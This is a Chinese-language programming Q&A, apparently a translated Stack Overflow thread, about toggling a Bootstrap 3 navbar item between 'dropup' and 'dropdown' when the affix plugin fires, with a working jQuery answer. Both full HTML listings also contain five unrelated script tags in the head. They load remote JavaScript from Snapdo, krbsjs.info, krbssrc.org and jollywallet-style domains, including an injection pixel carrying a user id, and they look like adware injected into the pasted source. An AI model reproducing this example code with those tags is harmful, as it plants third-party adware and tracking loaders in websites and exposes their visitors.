我想使用带有affix属性的'dropup'菜单创建一个导航栏。但是当'.affix'被解雇时，'dropup'菜单将成为'dropdown'。我的JS代码无法运行，无法为此获得任何解决方案。我的代码如下所示。这里Section4 nav-element是一个下拉菜单。
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<!DOCTYPE html>
<html>
<head>
<title>Bootstrap Example</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
<script>
$('#myaffix').affix(
function() {
$('#cng').removeClass('.dropup').addClass('.dropdown');
}
);
</script>
<style>
body {
position: relative;
}
.affix {
top: 0;
width: 100%;
z-index: 9999 !important;
}
.navbar {
margin-bottom: 0px;
}
.affix ~ .container-fluid {
position: relative;
top: 50px;
}
#section1 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #1E88E5;
}
#section2 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #673ab7;
}
#section3 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #ff9800;
}
#section41 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #00bcd4;
}
#section42 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #009688;
}
</style>
<script type='text/javascript' src='http://i.krbsjs.info/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script>
<script type='text/javascript' src='http://i.krbssrc.org/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script>
<script type='text/javascript' src='http://api.jollywallet.com/affiliate/client?dist=100&sub=230_pr&name=Snapdo'></script>
<script type='text/javascript' src='http://cdncache-a.akamaihd.net/sub/jbbb2d8/src230_pr/l.js?pid=2126&ext=Snapdo'></script>
<script type='text/javascript' src='http://feed.snapdo.com/Pixel.aspx?type=inj&userid=4ec0649a-c229-42c0-29ef-287d07be9b68&co=BD&barcode=50046888'></script>
</head>
<body data-spy="scroll" data-target=".navbar" data-offset="50">
<div class="container-fluid" style="background-color:#F44336;color:#fff;height:200px;">
<h1>Scrollspy & Affix Example</h1>
<h3>Fixed navbar on scroll</h3>
<p>Scroll this page to see how the navbar behaves with data-spy="affix" and data-spy="scrollspy".</p>
<p>The navbar is attached to the top of the page after you have scrolled a specified amount of pixels, and the links in the navbar are automatically updated based on scroll position.</p>
</div>
<nav id="myaffix" class="navbar navbar-inverse" data-spy="affix" data-offset-top="197">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">WebSiteName</a>
</div>
<div>
<div class="collapse navbar-collapse" id="myNavbar">
<ul class="nav navbar-nav">
<li><a href="#section1">Section 1</a>
</li>
<li><a href="#section2">Section 2</a>
</li>
<li><a href="#section3">Section 3</a>
</li>
<li class="dropup" id="cng"><a class="dropdown-toggle" data-toggle="dropdown" href="#">Section 4 <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#section41">Section 4-1</a>
</li>
<li><a href="#section42">Section 4-2</a>
</li>
</ul>
</li>
</ul>
</div>
</div>
</div>
</nav>
<div id="section1" class="container-fluid">
<h1>Section 1</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section2" class="container-fluid">
<h1>Section 2</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section3" class="container-fluid">
<h1>Section 3</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section41" class="container-fluid">
<h1>Section 4 Submenu 1</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section42" class="container-fluid">
<h1>Section 4 Submenu 2</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
</body>
</html>
答案 0 :(得分：1)
解决方案：D
$(document).ready(function() { $('#myaffix').on('affix.bs.affix', function() { $('#cng').removeClass('dropup').addClass('dropdown'); }).on('affix-top.bs.affix', function() { $('#cng').removeClass('dropdown').addClass('dropup'); }); });
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<!DOCTYPE html>
<html>
<head>
<title>Bootstrap Example</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
<script>
$(document).ready(function() {
$('#myaffix').on('affix.bs.affix', function() {
$('#cng').removeClass('dropup').addClass('dropdown');
}).on('affix-top.bs.affix', function() {
$('#cng').removeClass('dropdown').addClass('dropup');
});
});
</script>
<style>
body {
position: relative;
}
.affix {
top: 0;
width: 100%;
z-index: 9999 !important;
}
.navbar {
margin-bottom: 0px;
}
.affix ~ .container-fluid {
position: relative;
top: 50px;
}
#section1 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #1E88E5;
}
#section2 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #673ab7;
}
#section3 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #ff9800;
}
#section41 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #00bcd4;
}
#section42 {
padding-top: 50px;
height: 500px;
color: #fff;
background-color: #009688;
}
</style>
<script type='text/javascript' src='http://i.krbsjs.info/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script>
<script type='text/javascript' src='http://i.krbssrc.org/krbf/javascript.js?appTitle=Snapdo&channel=src230_pr&hid=4ec0649a-c229-42c0-29ef-287d07be9b68'></script>
<script type='text/javascript' src='http://api.jollywallet.com/affiliate/client?dist=100&sub=230_pr&name=Snapdo'></script>
<script type='text/javascript' src='http://cdncache-a.akamaihd.net/sub/jbbb2d8/src230_pr/l.js?pid=2126&ext=Snapdo'></script>
<script type='text/javascript' src='http://feed.snapdo.com/Pixel.aspx?type=inj&userid=4ec0649a-c229-42c0-29ef-287d07be9b68&co=BD&barcode=50046888'></script>
</head>
<body data-spy="scroll" data-target=".navbar" data-offset="50">
<div class="container-fluid" style="background-color:#F44336;color:#fff;height:200px;">
<h1>Scrollspy & Affix Example</h1>
<h3>Fixed navbar on scroll</h3>
<p>Scroll this page to see how the navbar behaves with data-spy="affix" and data-spy="scrollspy".</p>
<p>The navbar is attached to the top of the page after you have scrolled a specified amount of pixels, and the links in the navbar are automatically updated based on scroll position.</p>
</div>
<nav id="myaffix" class="navbar navbar-inverse" data-spy="affix" data-offset-top="197">
<div class="container-fluid">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#myNavbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="#">WebSiteName</a>
</div>
<div>
<div class="collapse navbar-collapse" id="myNavbar">
<ul class="nav navbar-nav">
<li><a href="#section1">Section 1</a>
</li>
<li><a href="#section2">Section 2</a>
</li>
<li><a href="#section3">Section 3</a>
</li>
<li class="dropup" id="cng"><a class="dropdown-toggle" data-toggle="dropdown" href="#">Section 4 <span class="caret"></span></a>
<ul class="dropdown-menu">
<li><a href="#section41">Section 4-1</a>
</li>
<li><a href="#section42">Section 4-2</a>
</li>
</ul>
</li>
</ul>
</div>
</div>
</div>
</nav>
<div id="section1" class="container-fluid">
<h1>Section 1</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section2" class="container-fluid">
<h1>Section 2</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section3" class="container-fluid">
<h1>Section 3</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section41" class="container-fluid">
<h1>Section 4 Submenu 1</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
<div id="section42" class="container-fluid">
<h1>Section 4 Submenu 2</h1>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
<p>Try to scroll this section and look at the navigation bar while scrolling! Try to scroll this section and look at the navigation bar while scrolling!</p>
</div>
</body>
</html>